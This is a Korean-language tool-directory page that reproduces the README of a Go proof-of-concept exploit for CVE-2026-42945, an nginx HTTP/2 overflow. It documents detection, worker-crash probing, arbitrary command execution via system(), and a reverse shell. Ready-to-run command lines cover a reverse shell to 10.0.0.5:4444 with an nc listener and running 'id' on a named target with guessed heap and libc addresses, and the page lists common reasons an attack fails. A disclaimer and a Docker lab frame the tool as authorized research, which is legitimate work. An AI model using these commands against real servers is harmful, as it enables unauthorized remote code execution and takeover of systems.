Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-42945 — Go 기반 PoC 도구로, CVE-2026-42945 (nginx HTTP/2) 대상의 탐지, 충돌 테스트, 명령 실행 및 리버스 셸 기능을 승인된 환경에서 제공합니다. | Kitploit
도구/GitHubGitHub/redcrazyghost/cve-2026-42945
Vulnerability AnalysisExploitationWeb Application ExploitationFuzzingPenetration TestingBinary Exploitation
GitHubredcrazyghost/cve-2026-42945

CVE-2026-42945

Go 기반 PoC 도구로, CVE-2026-42945 (nginx HTTP/2) 대상의 탐지, 충돌 테스트, 명령 실행 및 리버스 셸 기능을 승인된 환경에서 제공합니다.

저장소 보기
13개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-42945 PoC(Go)

한국어 | English

nginx HTTP/2 구현(CVE-2026-42945) 에 대한 탐지 및 익스플로잇 보조 도구로, 승인된 환경에서 취약점 존재 여부 확인, 패치 효과 대조, 제어 가능한 실험 환경에서 PoC 동작 재현을 위해 사용됩니다.

영향받는 버전(대략): nginx 0.6.27 – 1.30.0; 1.30.1+ / 1.31.0+ 에서 수정됨.


⚠️ 면책 조항 (반드시 읽어주세요)

본 저장소는 보안 연구, 취약점 검증 및 방어적 테스트 목적으로만 제공됩니다.

  1. 합법적 권한: 귀하는 명시적인 서면 승인을 받았거나 완전히 귀하 소유인 시스템에서만 이 도구를 사용할 수 있습니다. 허가 없이 타인의 네트워크/서버를 스캔, 탐지 또는 공격하는 것은 불법이며, 작성자와 기여자는 법적 책임을 지지 않습니다.
  2. 자기 책임: 이용 과정에서 대상 서비스의 worker 충돌, 업무 중단 또는 데이터 손상이 발생할 수 있습니다. 귀하는 영향을 스스로 평가하고, 격리된 환경에서 먼저 검증해야 합니다.
  3. 보증 없음: 이 도구는 "있는 그대로" 제공되며, 어떠한 실제 프로덕션 환경에서도 성공적인 익스플로잇을 보장하지 않습니다; 사이드 채널 결과가 RCE 달성과 동일하지 않으며, 파일 생성, 명령 출력 또는 리버스 셸 등을 통해 독립적으로 검증해야 합니다.
  4. 오용 금지: 허가되지 않은 시스템 침투, 갈취, 파괴, 채굴 또는 기타 불법 목적으로 이 도구를 사용하는 것을 금지합니다. 다운로드, 컴파일 또는 사용 시 귀하는 본 면책 조항을 읽고 동의한 것으로 간주됩니다.
  5. NGINX 공식과 무관: 이 프로젝트는 독립적인 연구 구현이며, NGINX 공식 또는 다른 공급업체의 입장을 대표하지 않습니다.

위 조항에 동의하지 않는 경우, 즉시 사용을 중단하고 이 저장소를 삭제하십시오.


기능 개요

모드설명
-check-only연결성, Server 헤더, 버전 대략 판단, PoC 엔드포인트 탐지
-probe-crash오버플로우 탐지 패킷 전송, worker 충돌 사이드 채널로 판단
-cmd익스플로잇 페이로드 구성, system()을 통해 지정 명령 실행
-shell리버스 셸 ( -lhost 필요, 로컬에 nc 필요)
-docker로컬 Docker 실험 환경(vuln / fixed) 일괄 테스트

환경 요구 사항

  • Go ≥ 1.26 (go.mod 참조)
  • 선택 사항: Docker + docker compose (로컬 실험 환경)
  • 선택 사항: make, golangci-lint (개발/코드 검사)
  • 익스플로잇 검증: 대상이 PoC에 필요한 엔드포인트(GET /api/, POST /spray 등)를 노출해야 함; Docker 실험 이미지에 내장됨

제한 사항 및 적용 환경


빌드

root@kitploit:~
# 빠른 빌드 (bin/에 출력, .gitignore에 있음)
make build-cmd

# 또는 go 직접 사용
go build -o ./bin/cve-2026-42945 ./cmd

# 내장 버전 확인
./bin/cve-2026-42945 -version

릴리스 바이너리: Releases에서 해당 플랫폼의 cve-2026-42945-<os>-<arch>를 다운로드(v* 태그 푸시 후 GitHub Actions가 자동 빌드).


사용 가이드

명령줄 인수

root@kitploit:~
-target string      대상 IP/호스트명 (기본값 127.0.0.1)
-port int           대상 포트 (0=80; Docker 취약 버전은 주로 19321 사용)
-docker             로컬 Docker 실험 환경 테스트 (vuln:19321, fixed:19331)
-check-only         탐지만 수행, 익스플로잇 트래픽 전송 안 함
-probe-crash        오버플로우 탐지 + worker 충돌 사이드 채널
-cmd string         system()을 통해 실행할 명령
-shell              리버스 셸 ( -lhost 필요)
-lhost string       리버스 셸 로컬 IP
-lport int          리버스 셸 로컬 포트 (기본값 4444)
-docker-profile     deploy/docker의 실제 힙/libc 베이스 주소 사용
-heap-base string   힙 베이스 주소 (16진수, 예: 0x555555659000)
-libc-base string   libc 베이스 주소 (16진수)
-tries int          각 힙 후보 시도 횟수 (기본값 10)
-timeout int        단일 HTTP 타임아웃 초 (기본값 5)
-v                  상세 출력
-version            버전 표시 후 종료

-docker 모드는 -cmd / -shell과 동시에 사용할 수 없음; 단일 대상 익스플로잇 시 -port 19321를 지정하세요.

1. 대상만 탐지

root@kitploit:~
./bin/cve-2026-42945 -target 192.168.1.10 -port 80 -check-only

2. 충돌 사이드 채널 (단일 대상)

root@kitploit:~
./bin/cve-2026-42945 -port 19321 -probe-crash -v

3. Docker 실험 환경 대조

먼저 실험 컨테이너 시작:

root@kitploit:~
make docker-up
# 또는
docker compose -f deploy/docker-compose.yml up -d --build

첫 빌드 시 nginx를 컴파일해야 하므로 몇 분이 소요될 수 있음; docker compose ps에서 서비스가 healthy가 된 후 make test-lab 실행.

서비스포트설명
vuln19321nginx 1.30.0 (영향받음)
fixed19331nginx 1.30.1 (수정됨)

일괄 탐지:

root@kitploit:~
./bin/cve-2026-42945 -docker -check-only
./bin/cve-2026-42945 -docker -probe-crash

또는 Makefile 단축 목표 사용:

root@kitploit:~
make test-lab          # check + probe
make cmd-exploit       # vuln에 /tmp/pwned 쓰고 검증 명령 힌트 표시

4. Docker vuln에서 명령 실행 (RCE 검증)

실험 컨테이너는 ASLR이 해제(setarch -R)되어 있고 -docker-profile로 사전 설정된 베이스 주소를 사용할 때 성공률이 가장 높습니다:

root@kitploit:~
./bin/cve-2026-42945 -port 19321 -docker-profile \
  -cmd 'echo pwned > /tmp/pwned' -v

# 파일이 기록되었는지 확인
docker exec nginx-rift-vuln-1.30.0 cat /tmp/pwned

5. 리버스 셸

root@kitploit:~
# 터미널 1: 도구 실행 (백그라운드에서 nc 리스너 시도)
./bin/cve-2026-42945 -port 19321 -docker-profile -shell -lhost 10.0.0.5 -lport 4444 -v

# nc를 찾지 못한 경우, 다른 터미널에서 수동 리스너 실행:
nc -lvnp 4444

6. 사용자 정의 메모리 레이아웃

실제 대상의 ASLR, libc 버전이 Docker와 일치하지 않는 경우, 직접 베이스 주소를 유출하거나 추측해야 합니다:

root@kitploit:~
# 대상은 평문 HTTP 포트여야 함 (TLS 아님)
./bin/cve-2026-42945 -target TARGET -port 8080 \
  -heap-base 0x555555659000 \
  -libc-base 0x7ffff77ba000 \
  -cmd 'id' -tries 20 -v

결과 해석

  • [+] 사이드 채널: worker 이상: worker가 오버플로우로 인해 충돌했을 가능성을 나타낼 뿐, 단독으로 RCE 성공의 근거가 될 수 없음.
  • 반드시 2차 검증: 명령 부작용(파일, 프로세스, docker exec 등) 확인.
  • 일반적인 실패 원인: ASLR 활성화, libc/힙 오프셋 오류, PoC 엔드포인트 사용 불가, WAF/속도 제한, 컨테이너 재시작 필요.

프로젝트 구조

root@kitploit:~
cmd/                 주요 프로그램 진입점
internal/rift/       탐지, 페이로드 구성 및 익스플로잇 로직
deploy/docker/       nginx 1.30.0 / 1.30.1 실험 이미지
deploy/docker-compose.yml
.github/workflows/   멀티 플랫폼 릴리스 빌드

개발

root@kitploit:~
make help            # 모든 make 목표 확인
make test            # 단위 테스트
make lint            # golangci-lint
make version         # 현재 빌드 버전 표시

새 버전 릴리스:

root@kitploit:~
git tag v1.0.0
git push origin v1.0.0

참고

  • 저장소: https://github.com/RedCrazyGhost/CVE-2026-42945
  • CVE: CVE-2026-42945 (nginx HTTP/2 관련 취약점, 공식 공지를 따르십시오)
  • 라이선스: MIT License
  • 보안 문제: SECURITY.md

다시 한 번 알림

귀하가 테스트할 권한이 있는 시스템에서만 이 도구를 사용하십시오. 모든 오용 행위는 작성자와 무관합니다.

도구 다운로드
항목설명
프로토콜평문 HTTP만 지원(net.Dial + 원시 HTTP 바이트), HTTPS/TLS는 지원되지 않음. -port 443 등의 TLS 포트는 TLS 종료를 먼저 설정하거나 HTTP 포트로 변경해야 함.
Docker 실험이미지는 linux/amd64이며, 첫 docker compose build 시 nginx를 소스에서 컴파일하므로 시간이 오래 걸림; 컨테이너 내부는 setarch -R로 ASLR을 해제하여 프로덕션 환경과 차이가 큼.
Apple Silicon로컬 Docker는 platform: linux/amd64로 에뮬레이션되어 속도가 느림.
리버스 셸-shell은 시스템 nc에 의존하며, Windows에서는 수동으로 리스너를 설정하는 것이 좋음.
익스플로잇 판단사이드 채널(worker 충돌) ≠ RCE, 명령 부작용(파일, 프로세스 등)을 반드시 독립적으로 검증해야 함.